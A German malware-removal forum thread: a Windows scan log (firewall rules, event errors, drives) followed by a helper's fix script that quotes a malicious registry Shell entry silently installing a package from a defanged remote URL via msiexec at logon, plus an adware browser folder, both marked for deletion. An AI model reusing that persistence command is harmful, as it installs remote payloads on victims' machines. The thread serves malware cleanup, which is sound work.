FirewallRules: [{41579014-8F15-4E76-8760-60834F795ECB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C3AB4D8B-CAF0-4B45-87C9-86E62AD4B739}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{79C012EB-D874-4406-BB39-66E16C0045B1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F2A0119D-BE15-49A5-9C01-E0A94D44CF4D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8B74A98-3A88-42C1-9B54-ED4C8075EDF7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{ABB92F30-3494-4450-8E17-35E5A51E8841}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7C367DCA-7076-476E-B6F7-47B2DE4EBE3C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{8236C729-4359-432B-92BC-59CFF7D77BBB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1C0FB2B6-FC5E-49AB-B7C9-E56234A4C918}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2531BD16-FC00-4CBD-825F-04B4AC574A39}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C49896D4-6219-4FFD-903A-B4C59FD53960}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6921994C-A050-4142-A0A7-24309EB0B0CA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{112D9B6E-C2F2-489C-8485-8A2E4F7D30E3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AF9FA2D6-596C-40F0-8827-96CB2BD1D0DD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B7AD7E15-6155-4676-8EE3-C2C66B5CB20F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{410FBA75-F1F7-4ED9-822D-311A79FC9E7E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6E7793D2-3924-4C1A-93D9-99C631532506}] => (Allow) C:\Program Files\HP\HP ENVY 4520 series\Bin\HPNetworkCommunicatorCom.exe

FirewallRules: [{8901CADF-0B01-4DB1-9DDD-EC0AE6F72C09}] => (Allow) LPort=5357

FirewallRules: [{553C8532-63BC-4FA0-9CF2-3754E35245B0}] => (Allow) C:\Program Files\HP\HP ENVY 4520 series\Bin\DeviceSetup.exe

FirewallRules: [{B454DE81-4121-4D5B-98DA-EB7E3AFC9B72}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{5AA5E766-9343-4B7C-B696-E11CF4FBB799}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{816DA247-8660-4953-AD9E-8B14BFAF8C0B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9D866496-087F-472B-B313-E35A702D9D2B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B0CBE440-855D-4E82-9E61-6D17C1571721}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2AE9117C-1D43-4ED5-9F29-14117E3429A2}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{4B464F14-9E75-4F33-AB27-7226D29E9678}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{86D9483A-FA99-4ADA-A3EE-E5A6E4E7A2E5}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{AEF76242-CA70-4EDE-B14E-7D8784E4F368}D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe

FirewallRules: [TCP Query User{EB487EE1-9C70-48AC-97B9-3BFAC06E7121}D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe

FirewallRules: [{8CBEE266-AD4C-4738-8F28-26CAF7DFA309}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{CFF661B5-5B5E-4986-BD89-45D334143A48}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D0048B4D-1FBB-451B-B630-473D9DE0A5CA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AF3DEACA-0759-4C85-96BF-82CF2A16E937}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{339EF314-F39F-44DC-8E53-59D323BE0C9C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8CFE5BA-85C1-47B4-A407-A0BBEAE19FAD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6A425000-0AF9-4324-9CFF-5951A4218445}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D4A7932A-C6DF-4C57-A1E4-D0558EC0E462}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{779AFC5C-D10A-4510-9A19-21B6FD3402AE}C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe

FirewallRules: [TCP Query User{6B25C7B2-DA39-4255-B591-4D64C8CA02A8}C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe

FirewallRules: [{5D8D978A-DB15-47B5-89D5-734A760B7A51}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{05D000CE-07B9-4974-A174-1C647EAC7543}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D7EBDB01-D5A4-4F07-91D0-9BCB47E43AEF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D2E6371E-3ACF-4310-960F-6C3CD4F13A37}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F307D1AF-9A43-457B-9C16-05B86AC42F30}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{47C36104-9481-4D5F-A85F-FADAF2000416}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{CF9D4E0D-6F2B-4493-A82D-7CD572708136}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D89F2BE9-2C07-480B-939A-AA25A677A366}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{FFAD50D1-18C6-479C-9087-C3A173E98A8C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{BD373ECD-F038-4F23-8DB3-4466231C0FFD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2E4F0D97-68D6-4316-AA6D-D243F3BE4E16}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7771CF6B-9BDE-49BD-A41A-45CCF7C0EEEA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D7BD1525-8C65-40B1-AFDD-22174B557C79}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{5D2E7CF4-1357-47BD-B7AD-A63014F4312C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{15760D5E-0416-4E4C-8CD6-02AA8735EB5F}C:\program files (x86)\overwatch\overwatch.exe] => (Allow) C:\program files (x86)\overwatch\overwatch.exe

FirewallRules: [TCP Query User{331B2A1E-C893-4BD7-8FD1-E9B932FBB7E6}C:\program files (x86)\overwatch\overwatch.exe] => (Allow) C:\program files (x86)\overwatch\overwatch.exe

FirewallRules: [UDP Query User{A15E6547-9B11-4FC2-A44E-89006B71F352}C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe

FirewallRules: [TCP Query User{ED574F3A-B2C7-4411-82AA-9C158DC2DB9C}C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe

FirewallRules: [{8E8AA40B-415E-4E76-B615-5E5113246074}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F82E75A0-F58C-42DF-A2E2-ED42168F6A8A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{4EE5130D-729D-4064-B440-1AE1CB6933D3}C:\program files\java\jre1.8.0_121\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_121\bin\javaw.exe

FirewallRules: [TCP Query User{6937723B-70E3-4564-ACAA-ED541548A596}C:\program files\java\jre1.8.0_121\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_121\bin\javaw.exe

FirewallRules: [{D965CBFC-06C7-4D70-9ADC-1AC2077B5B53}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F620B299-2563-4DF8-B7BF-64CEF8CE5D73}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{58A7CEAC-BD89-4906-8802-CC7EAA2D5CA3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2cfg.exe

FirewallRules: [{D4DAC0C6-FDE9-41F0-B9FD-D751A80A083D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2cfg.exe

FirewallRules: [{6C509364-8BAA-4FF3-8F21-35BDFE9F4E9B}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{BAD19D4C-6D25-4F9D-9337-314AE17FF150}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{BFE4213B-CC35-4711-8BE8-918C239CAFEB}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{88950193-384B-4394-B893-9D9B67417B86}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{3AACE4DF-D7B6-408E-BB43-A32052AC0D33}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{E4085E2C-1441-481E-8498-716301809904}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B0F06C56-5C5D-4191-AE97-CA80ADE0C6CF}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe

FirewallRules: [{34051D0E-6847-4CED-A111-DBA345847DD0}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7\steamwebhelper.exe

FirewallRules: [{2C276577-70DE-41F9-9AC8-240C8D1B71E1}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe

FirewallRules: [{EBCB342C-E889-46B6-A155-FF0EEEBA40DB}] => (Allow) C:\Program Files (x86)\Steam\Steam.exe

FirewallRules: [{54BCAE60-FAE6-4E7E-B768-8779857E84F1}] => (Allow) C:\Program Files (x86)\Skype\Phone\Skype.exe

FirewallRules: [{5207AEB2-4136-4BAA-84BC-70B41C9ABE4A}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe

FirewallRules: [{F28BF37D-8969-4915-97CC-4ED8875972FD}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe

FirewallRules: [{CBFE2ED2-36E9-4974-BEF0-A081E5A8E85F}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamUserAgent.exe

FirewallRules: [{DC70CB90-4841-43F5-9122-1FBB3B2F121D}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe

FirewallRules: [{1DA07592-B958-435C-B9C8-2F2BFD0140E1}] => (Allow) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe

FirewallRules: [{04C83F46-AC54-4B51-BAFE-50EB14006008}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{472AFE3F-0033-4132-938D-A746C1200CB6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [TCP Query User{7B88EF8D-96CE-4216-AF6C-AC0628B4AD77}C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe

FirewallRules: [UDP Query User{431CA897-6069-458F-A5ED-50B246344709}C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8657\battle.net.exe

FirewallRules: [{9AE7186B-4072-471A-B309-3CB05922FB70}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C9478BC4-3E1E-4BFD-8A11-CEE96FC36F22}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{0D031CF2-BC49-490C-911B-E9C8E76463EB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{8CC5D0BE-0665-4D2D-8262-662FD557D1AF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{181DA604-349F-43BF-8201-2C94BA0D16F2}] => (Allow) C:\Program Files (x86)\Everbean\Application\chrome.exe

FirewallRules: [{E55F8F6F-CBF5-486C-8090-5F92B493C03D}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe

FirewallRules: [{DE60D1F8-DC68-461A-A7AF-2A65B60C1E30}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C320652F-AACF-4EDA-9AA6-C786FFA63117}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AC896D46-11F7-494A-AB9F-DC11924FC941}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{71C6581E-CF1A-4960-995D-5620AF77C7EF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{0B0F6BBC-B133-4D78-ABE8-44C606F97BB2}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

FirewallRules: [{3CEAAE20-4595-40D4-8251-382FE28AC8E7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9EBD0BD6-B439-458E-81A2-595108D71309}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{38499CD2-9DA3-498B-9A92-69D63F8FCEDE}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D2BB3242-1D3F-4AD1-9548-0D65A92E5A66}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{74251A41-7445-4E02-8B38-242A5CC687C7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{51DADC6F-501E-4332-9ED7-4C2FBFB3CB02}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe
 

==================== Wiederherstellungspunkte =========================
 

14-04-2017 08:01:07 Windows Update

23-04-2017 05:06:51 Geplanter Prüfpunkt

25-04-2017 05:21:54 JRT Pre-Junkware Removal
 

==================== Fehlerhafte Geräte im Gerätemanager =============
 
 

==================== Fehlereinträge in der Ereignisanzeige: =========================
 

Applikationsfehler:

==================

Error: (04/24/2017 01:38:03 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=254, Autor-ID=311, Lieferant-ID=14122, Lieferant-Typ=1
 

Error: (04/24/2017 01:38:03 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=21, Autor-ID=311, Lieferant-ID=0, Lieferant-Typ=0
 

Error: (04/24/2017 01:38:01 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=254, Autor-ID=311, Lieferant-ID=14122, Lieferant-Typ=1
 

Error: (04/24/2017 01:38:01 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=21, Autor-ID=311, Lieferant-ID=0, Lieferant-Typ=0
 

Error: (04/24/2017 01:38:01 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=254, Autor-ID=311, Lieferant-ID=14122, Lieferant-Typ=1
 

Error: (04/24/2017 01:38:01 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=21, Autor-ID=311, Lieferant-ID=0, Lieferant-Typ=0
 

Error: (04/24/2017 01:38:01 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=254, Autor-ID=311, Lieferant-ID=14122, Lieferant-Typ=1
 

Error: (04/24/2017 01:38:01 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=21, Autor-ID=311, Lieferant-ID=0, Lieferant-Typ=0
 

Error: (04/23/2017 12:40:37 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: ANDREAS-PC)

Description: Bei der Aktivierung der App „Microsoft.BingWeather_8wekyb3d8bbwe!App“ ist folgender Fehler aufgetreten: -2144927148. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.
 

Error: (04/22/2017 11:03:02 AM) (Source: Microsoft-Windows-EapHost) (EventID: 2002) (User: NT-AUTORITÄT)

Description: Überspringen: Eap method DLL path Fehler bei der Überprüfung. Fehler: Type-ID=254, Autor-ID=311, Lieferant-ID=14122, Lieferant-Typ=1
 
 

Systemfehler:

=============

Error: (04/25/2017 05:22:03 AM) (Source: Service Control Manager) (EventID: 7031) (User: )

Description: Der Dienst "NVIDIA LocalSystem Container" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 1000 Millisekunden durchgeführt: Neustart des Diensts.
 

Error: (04/25/2017 05:17:01 AM) (Source: Service Control Manager) (EventID: 7000) (User: )

Description: Der Dienst "CldFlt" wurde aufgrund folgenden Fehlers nicht gestartet: 

Die Anforderung wird nicht unterstützt.
 

Error: (04/25/2017 05:16:11 AM) (Source: Service Control Manager) (EventID: 7032) (User: )

Description: Der Versuch des Dienststeuerungs-Managers, nach dem unerwarteten Beenden des Dienstes "Windows Search" Korrekturmaßnahmen (Neustart des Diensts) durchzuführen, ist fehlgeschlagen. Fehler: 

Es wird bereits eine Instanz des Dienstes ausgeführt.
 

Error: (04/25/2017 05:15:41 AM) (Source: Service Control Manager) (EventID: 7031) (User: )

Description: Der Dienst "Windows Search" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 30000 Millisekunden durchgeführt: Neustart des Diensts.
 

Error: (04/25/2017 05:15:41 AM) (Source: Service Control Manager) (EventID: 7031) (User: )

Description: Der Dienst "NVIDIA Telemetry Container" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 1000 Millisekunden durchgeführt: Neustart des Diensts.
 

Error: (04/25/2017 05:15:41 AM) (Source: Service Control Manager) (EventID: 7031) (User: )

Description: Der Dienst "Razer Game Scanner" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 5000 Millisekunden durchgeführt: Neustart des Diensts.
 

Error: (04/25/2017 05:15:41 AM) (Source: Service Control Manager) (EventID: 7031) (User: )

Description: Der Dienst "NVIDIA LocalSystem Container" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 1000 Millisekunden durchgeführt: Neustart des Diensts.
 

Error: (04/25/2017 05:15:41 AM) (Source: Service Control Manager) (EventID: 7034) (User: )

Description: Dienst "Razer Chroma SDK Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.
 

Error: (04/25/2017 05:15:41 AM) (Source: Service Control Manager) (EventID: 7034) (User: )

Description: Dienst "ASUS Com Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.
 

Error: (04/25/2017 05:15:41 AM) (Source: Service Control Manager) (EventID: 7034) (User: )

Description: Dienst "DTSAudioSvc" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert.
 
 

CodeIntegrity:

===================================

  Date: 2017-04-24 03:33:10.874

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume1\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLMF.DLL that did not meet the Custom 3 / Antimalware signing level requirements.
 

  Date: 2017-04-23 05:01:20.151

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Program Files\Windows Defender\MsMpEng.exe) attempted to load \Device\HarddiskVolume1\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLMF.DLL that did not meet the Custom 3 / Antimalware signing level requirements.
 

  Date: 2017-04-22 11:08:26.541

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:26.317

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:26.101

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:08:25.899

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:46.529

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:24.580

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Windows\System32\nvspcap64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:24.334

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Program Files\Malwarebytes\Anti-Malware\mbae64.dll that did not meet the Store signing level requirements.
 

  Date: 2017-04-22 11:03:13.124

  Description: Code Integrity determined that a process (\Device\HarddiskVolume1\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe) attempted to load \Device\HarddiskVolume1\Windows\System32\nvspcap64.dll that did not meet the Store signing level requirements.
 
 

==================== Speicherinformationen =========================== 
 

Prozessor: AMD FX(tm)-8350 Eight-Core Processor 

Prozentuale Nutzung des RAM: 10%

Installierter physikalischer RAM: 16284.96 MB

Verfügbarer physikalischer RAM: 14633.65 MB

Summe virtueller Speicher: 18716.96 MB

Verfügbarer virtueller Speicher: 16916.75 MB
 

==================== Laufwerke ================================
 

Drive c: () (Fixed) (Total:465.3 GB) (Free:310.78 GB) NTFS ==>[Laufwerk mit Startkomponenten (eingeholt von BCD)]

Drive d: (Samsung SDD) (Fixed) (Total:232.88 GB) (Free:24.92 GB) NTFS

Drive e: (Samsung HDD) (Fixed) (Total:232.88 GB) (Free:32.5 GB) NTFS ==>[System mit Startkomponenten (eingeholt von Laufwerk)]
 

==================== MBR & Partitionstabelle ==================
 

========================================================

Disk: 0 (MBR Code: Windows 7 or 8) (Size: 465.8 GB) (Disk ID: 399BE559)

Partition 1: (Active) - (Size=465.3 GB) - (Type=07 NTFS)

Partition 2: (Not Active) - (Size=471 MB) - (Type=27)
 

========================================================

Disk: 1 (MBR Code: Windows 7 or 8) (Size: 232.9 GB) (Disk ID: 92061219)

Partition 1: (Not Active) - (Size=232.9 GB) - (Type=07 NTFS)
 

========================================================

Disk: 2 (MBR Code: Windows 7 or 8) (Size: 232.9 GB) (Disk ID: 996E3212)

Partition 1: (Active) - (Size=232.9 GB) - (Type=07 NTFS)
 

==================== Ende von Addition.txt ============================

hier war der Winodws defender noch vom JRT deaktiviert. Ansonsten hab ich wieder nichts gemacht, außer online auf sicheren Seiten gewesen zu sein und resident evil 4, die Steamversion gespielt. Der Malwarebytes Scan, der am laufen war, als ich den post geschrieben habe war übrigens ebenfalls clean.

Hi,

na dann machen wir uns ans Werk :)

Schritt 1:

Drücke bitte die Windowstaste + R Taste und schreibe notepad in das Ausführen Fenster.

Kopiere nun folgenden Text aus der Code-Box in das leere Textdokument

Code:

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i hxxp://point.orangeiloveyou.com/?data=zDlkMj1WF8EdFTRXM8EcMkQLMdQLNUM8FkRSNWhSMkJSF8YcMc== /q

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Everbean\Application\chrome.exe <==== ACHTUNG

C:\Program Files (x86)\Everbean

emptytemp:

